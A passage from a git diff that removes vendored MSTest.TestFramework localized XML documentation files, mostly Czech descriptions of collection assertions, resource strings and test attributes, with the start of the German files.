jestli jedna z kolekcí není podmnožinou jiné kolekce, a vyvolá - výjimku, pokud všechny prvky podmnožiny jsou také prvky - nadmnožiny. - - - Kolekce, která nemá být podmnožinou nadmnožiny . - - - Kolekce, která nemá být nadmnožinou podmnožiny - - - Zpráva, kterou chcete zahrnout do výjimky, pokud každý prvek v podmnožině - se nachází také v nadmnožině . - Zpráva je zobrazena ve výsledku testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if every element in is also found in - . - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují stejný prvek, a vyvolá - výjimku, pokud některá z kolekcí obsahuje prvek, který není součástí druhé - kolekce. - - - První kolekce, kterou chcete porovnat. Jedná se o prvek, který test - očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud byl nalezen prvek - v jedné z kolekcí, ale ne ve druhé. Zpráva je zobrazena - ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli dvě kolekce obsahují rozdílné prvky, a vyvolá - výjimku, pokud tyto dvě kolekce obsahují identické prvky bez ohledu - na pořadí. - - - První kolekce, kterou chcete porovnat. Obsahuje prvek, který se podle testu - má lišit od skutečné kolekce. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - obsahuje stejný prvek jako . Zpráva - je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli všechny prvky v zadané kolekci jsou instancemi - očekávaného typu, a vyvolá výjimku, pokud očekávaný typ není - v hierarchii dědičnosti jednoho nebo více prvků. - - - Kolekce obsahující prvky, které podle testu mají být - zadaného typu. - - - Očekávaný typ jednotlivých prvků . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud prvek v - není instancí typu - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Určuje, jestli první kolekce je podmnožinou druhé - kolekce. Pokud některá z množin obsahuje duplicitní prvky, musí počet - výskytů prvku v podmnožině být menší, nebo - se musí rovnat počtu výskytů v nadmnožině. - - - Kolekce, která podle testu má být obsažena v nadmnožině . - - - Kolekce, která podle testu má obsahovat . - - - Pravda, pokud je podmnožinou - , jinak nepravda. - - - - - Vytvoří slovník obsahující počet výskytů jednotlivých - prvků v zadané kolekci. - - - Kolekce, kterou chcete zpracovat - - - Počet prvků Null v kolekci - - - Slovník obsahující počet výskytů jednotlivých prvků - v zadané kolekci. - - - - - Najde mezi dvěma kolekcemi neshodný prvek. Neshodný - prvek je takový, který má v očekávané kolekci - odlišný počet výskytů ve srovnání se skutečnou kolekcí. Kolekce - se považují za rozdílné reference bez hodnoty null se - stejným počtem prvků. Za tuto úroveň ověření odpovídá - volající. Pokud neexistuje žádný neshodný prvek, funkce vrátí - false a neměli byste použít parametry Out. - - - První kolekce, která se má porovnat - - - Druhá kolekce k porovnání - - - Očekávaný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Skutečný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Neshodný prvek (může být Null) nebo Null, pokud neexistuje žádný - neshodný prvek. - - - pravda, pokud je nalezen nevyhovující prvek; v opačném případě nepravda. - - - - - Porovná objekt pomocí atributu object.Equals. - - - - - Základní třída pro výjimky architektury - - - - - Inicializuje novou instanci třídy . - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Třída prostředků se silnými typy pro vyhledávání lokalizovaných řetězců atd. - - - - - Vrátí v mezipaměti uloženou instanci ResourceManager použitou touto třídou. - - - - - Přepíše vlastnost CurrentUICulture aktuálního vlákna pro všechna - vyhledávání prostředků pomocí této třídy prostředků silného typu. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Přístupový řetězec má neplatnou syntaxi. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekávaná kolekce obsahuje počet výskytů {1} <{2}>. Skutečná kolekce obsahuje tento počet výskytů: {3}. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Našla se duplicitní položka:<{1}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekáváno:<{1}>. Případ je rozdílný pro skutečnou hodnotu:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekává rozdíl maximálně <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekáváno:<{1} ({2})>. Skutečnost:<{3} ({4})>. {0}. - - - - - Vyhledá řetězec podobný řetězci Očekáváno:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekával rozdíl větší než <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávala se libovolná hodnota s výjimkou:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevkládejte hodnotu typů do AreSame(). Hodnoty převedené na typ Object nebudou nikdy stejné. Zvažte možnost použít AreEqual(). {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Chyba {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: async TestMethod s atributem UITestMethodAttribute se nepodporují. Buď odeberte async, nebo použijte TestMethodAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce jsou prázdné. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejný prvek. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě reference kolekce odkazují na stejný objekt kolekce. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejné prvky. {0}. - - - - - Vyhledá řetězec podobný řetězci {0}({1}). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (null). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (objekt). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} neobsahuje řetězec {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} ({1}). - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Atribut Assert.Equals by se neměl používat pro kontrolní výrazy. Použijte spíše Assert.AreEqual a přetížení. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Počet prvků v kolekci se neshoduje. Očekáváno:<{1}>. Skutečnost:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {0} se neshoduje. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Prvek indexu {1} je neočekávaného typu. Očekávaný typ:<{2}>. Skutečný typ:<{3}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {1} je (null). Očekávaný typ:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nekončí řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Neplatný argument: EqualsTester nemůže použít hodnoty null. - - - - - Vyhledá řetězec podobný řetězci Nejde převést objekt typu {0} na {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Interní odkazovaný objekt už není platný. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Parametr {0} je neplatný. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Vlastnost {0} má typ {1}; očekávaný typ {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} Očekávaný typ:<{1}>. Skutečný typ:<{2}>. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se neshoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Nesprávný typ:<{1}>. Skutečný typ:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se shoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nezadal se žádný atribut DataRowAttribute. K atributu DataTestMethodAttribute se vyžaduje aspoň jeden atribut DataRowAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevyvolala se žádná výjimka. Očekávala se výjimka {1}. {0}. - - - - - Vyhledá lokalizované řetězce podobné tomuto: Parametr {0} je neplatný. Hodnota nemůže být null. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Rozdílný počet prvků. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Konstruktor se zadaným podpisem se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru objektu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Zadaný člen ({0}) se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru atributu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nezačíná řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávaný typ výjimky musí být System.Exception nebo typ odvozený od System.Exception. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (Z důvodu výjimky se nepodařilo získat zprávu pro výjimku typu {0}.). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Testovací metoda nevyvolala očekávanou výjimku {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda nevyvolala výjimku. Atribut {0} definovaný testovací metodou očekával výjimku. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, ale očekávala se výjimka {1}. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, očekávala se ale odvozená výjimka {1} nebo typ. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Vyvolala se výjimka {2}, ale očekávala se výjimka {1}. {0} - Zpráva o výjimce: {3} - Trasování zásobníku: {4} - - - - - Výsledky testu jednotek - - - - - Test se provedl, ale došlo k problémům. - Problémy se můžou týkat výjimek nebo neúspěšných kontrolních výrazů. - - - - - Test se dokončil, ale není možné zjistit, jestli byl úspěšný, nebo ne. - Dá se použít pro zrušené testy. - - - - - Test se provedl zcela bez problémů. - - - - - V tuto chvíli probíhá test. - - - - - Při provádění testu došlo k chybě systému. - - - - - Časový limit testu vypršel. - - - - - Test byl zrušen uživatelem. - - - - - Test je v neznámém stavu. - - - - - Poskytuje pomocnou funkci pro systém pro testy jednotek. - - - - - Rekurzivně získá zprávy o výjimce, včetně zpráv pro všechny vnitřní - výjimky. - - Výjimka pro načítání zpráv pro - řetězec s informacemi v chybové zprávě - - - - Výčet pro časové limity, který se dá použít spolu s třídou . - Typ výčtu musí odpovídat - - - - - Nekonečno - - - - - Atribut třídy testu - - - - - Získá atribut testovací metody, který umožní spustit tento test. - - Instance atributu testovací metody definované v této metodě. - Typ Použije se ke spuštění tohoto testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atribut testovací metody - - - - - Spustí testovací metodu. - - Testovací metoda, která se má spustit. - Pole objektů TestResult, které představuje výsledek (nebo výsledky) daného testu. - Extensions can override this method to customize running a TestMethod. - - - - Atribut inicializace testu - - - - - Atribut vyčištění testu - - - - - Atribut ignore - - - - - Atribut vlastnosti testu - - - - - Inicializuje novou instanci třídy . - - - Název - - - Hodnota - - - - - Získá název. - - - - - Získá hodnotu. - - - - - Atribut inicializace třídy - - - - - Atribut vyčištění třídy - - - - - Atribut inicializace sestavení - - - - - Atribut vyčištění sestavení - - - - - Vlastník testu - - - - - Inicializuje novou instanci třídy . - - - Vlastník - - - - - Získá vlastníka. - - - - - Atribut priority, používá se pro určení priority testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Priorita - - - - - Získá prioritu. - - - - - Popis testu - - - - - Inicializuje novou instanci třídy , která popíše test. - - Popis - - - - Získá popis testu. - - - - - Identifikátor URI struktury projektů CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI struktury projektů CSS. - - Identifikátor URI struktury projektů CSS - - - - Získá identifikátor URI struktury projektů CSS. - - - - - Identifikátor URI iterace CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI iterace CSS. - - Identifikátor URI iterace CSS - - - - Získá identifikátor URI iterace CSS. - - - - - Atribut WorkItem, používá se pro zadání pracovní položky přidružené k tomuto testu. - - - - - Inicializuje novou instanci třídy pro atribut WorkItem. - - ID pro pracovní položku - - - - Získá ID k přidružené pracovní položce. - - - - - Atribut časového limitu, používá se pro zadání časového limitu testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Časový limit - - - - - Inicializuje novou instanci třídy s předem nastaveným časovým limitem. - - - Časový limit - - - - - Získá časový limit. - - - - - Objekt TestResult, který se má vrátit adaptéru - - - - - Inicializuje novou instanci třídy . - - - - - Získá nebo nastaví zobrazovaný název výsledku. Vhodné pro vrácení většího počtu výsledků. - Pokud je null, jako DisplayName se použije název metody. - - - - - Získá nebo nastaví výsledek provedení testu. - - - - - Získá nebo nastaví výjimku vyvolanou při chybě testu. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo načte trasování ladění testovacího kódu. - - - - - Gets or sets the debug traces by test code. - - - - - Získá nebo nastaví délku trvání testu. - - - - - Získá nebo nastaví index řádku dat ve zdroji dat. Nastavte pouze pro výsledky jednoho - spuštění řádku dat v testu řízeném daty. - - - - - Získá nebo nastaví návratovou hodnotu testovací metody. (Aktuálně vždy null) - - - - - Získá nebo nastaví soubory s výsledky, které připojil test. - - - - - Určuje připojovací řetězec, název tabulky a metodu přístupu řádku pro testování řízené daty. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Název výchozího poskytovatele pro DataSource - - - - - Výchozí metoda pro přístup k datům - - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat, připojovacím řetězcem, tabulkou dat a přístupovou metodou k datům, pomocí kterých se získá přístup ke zdroji dat. - - Název poskytovatele neutrálních dat, jako je System.Data.SqlClient - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - Určuje pořadí přístupu k datům. - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s připojovacím řetězcem a názvem tabulky. - Zadejte připojovací řetězec a tabulku dat, pomocí kterých se získá přístup ke zdroji dat OLEDB. - - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat a připojovacím řetězcem přidruženým k názvu nastavení. - - Název zdroje dat nalezený v oddílu <microsoft.visualstudio.qualitytools> souboru app.config. - - - - Získá hodnotu představující poskytovatele dat zdroje dat. - - - Název poskytovatele dat. Pokud poskytovatel dat nebyl při inicializaci objektu zadán, bude vrácen výchozí poskytovatel System.Data.OleDb. - - - - - Získá hodnotu představující připojovací řetězec zdroje dat. - - - - - Získá hodnotu označující název tabulky poskytující data. - - - - - Získá metodu používanou pro přístup ke zdroji dat. - - - - Jedna z těchto položek: . Pokud není inicializován, vrátí výchozí hodnotu . - - - - - Získá název zdroje dat nalezeného v části <microsoft.visualstudio.qualitytools> v souboru app.config. - - - - - Atribut testu řízeného daty, kde se data dají zadat jako vložená. - - - - - Vyhledá všechny datové řádky a spustí je. - - - Testovací metoda - - - Pole . - - - - - Spustí testovací metodu řízenou daty. - - Testovací metoda, kterou chcete provést. - Datový řádek - Výsledek provedení - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 81af0036..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Wird zum Angeben des Bereitstellungselements (Datei oder Verzeichnis) für eine Bereitstellung pro Test verwendet. - Kann für eine Testklasse oder Testmethode angegeben werden. - Kann mehrere Instanzen des Attributs besitzen, um mehrere Elemente anzugeben. - Der Elementpfad kann absolut oder relativ sein. Wenn er relativ ist, dann relativ zu "RunConfig.RelativePathRoot". - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die bereitzustellende Datei oder das Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - - - - Initialisiert eine neue Instanz der -Klasse. - - Der relative oder absolute Pfad zur bereitzustellenden Datei oder zum Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - Der Pfad des Verzeichnisses, in das die Elemente kopiert werden sollen. Er kann absolut oder relativ zum Bereitstellungsverzeichnis sein. Alle Dateien und Verzeichnisse, die identifiziert werden durch werden in dieses Verzeichnis kopiert. - - - - Ruft den Pfad der Quelldatei oder des -ordners ab, die bzw. der kopiert werden soll. - - - - - Ruft den Pfad des Verzeichnisses ab, in das das Element kopiert werden soll. - - - - - Die TestContext-Klasse. Diese Klasse muss vollständig abstrakt sein und keine - Member enthalten. Der Adapter implementiert die Member. Benutzer im Framework sollten - darauf nur über eine klar definierte Schnittstelle zugreifen. - - - - - Ruft Testeigenschaften für einen Test ab. - - - - - Ruft den vollqualifizierten Namen der Klasse ab, die die Testmethode enthält, die zurzeit ausgeführt wird. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Ruft den Namen der zurzeit ausgeführten Testmethode ab. - - - - - Ruft das aktuelle Testergebnis ab. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index ae680260..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml 